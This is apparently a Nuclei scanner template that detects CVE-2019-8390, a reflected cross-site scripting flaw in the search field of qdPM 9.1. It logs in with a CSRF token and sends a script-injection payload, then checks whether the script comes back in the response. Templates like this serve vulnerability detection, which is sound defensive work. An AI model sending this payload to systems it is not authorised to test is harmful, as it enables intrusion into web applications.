id: CVE-2019-8390

info:
  name: qdPM 9.1 - Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    qdPM 9.1 suffers from Cross-site Scripting (XSS) in the search[keywords] parameter.
  remediation: |
    Upgrade to a patched version of qdPM or apply the necessary security patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/46399/
    - http://qdpm.net/download-qdpm-free-project-management
    - https://nvd.nist.gov/vuln/detail/CVE-2019-8390
    - http://sourceforge.net/projects/qdpm
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-8390
    cwe-id: CWE-79
    epss-score: 0.0161
    epss-percentile: 0.85999
    cpe: cpe:2.3:a:qdpm:qdpm:9.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: qdpm
    product: qdpm
    shodan-query: http.favicon.hash:762074255
  tags: cve,cve2019,xss,qdpm,authenticated,edb

http:
  - raw:
      - |
        GET /index.php/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login%5B_csrf_token%5D={{csrf}}&login%5Bemail%5D={{username}}&login%5Bpassword%5D={{password}}&http_referer=
      - |
        POST /index.php/users HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        search[keywords]=e"><script>alert(document.domain)</script>&search_by_extrafields[]=9

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'alert alert-info alert-search-result'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'name="login\[_csrf_token\]" value="(.*?)"'
        internal: true
        part: body

# digest: 4a0a00473045022100f7087b0d19ba996681f9d4e87bd16d17329c8194a8ab86a1aa80675e9dcff2df0220639f40d52684a5ad9374e55bce9d7adc9d37263a62765fa2e351de2a2f43dbdd:922c64590222798bb761d5b6d8e72950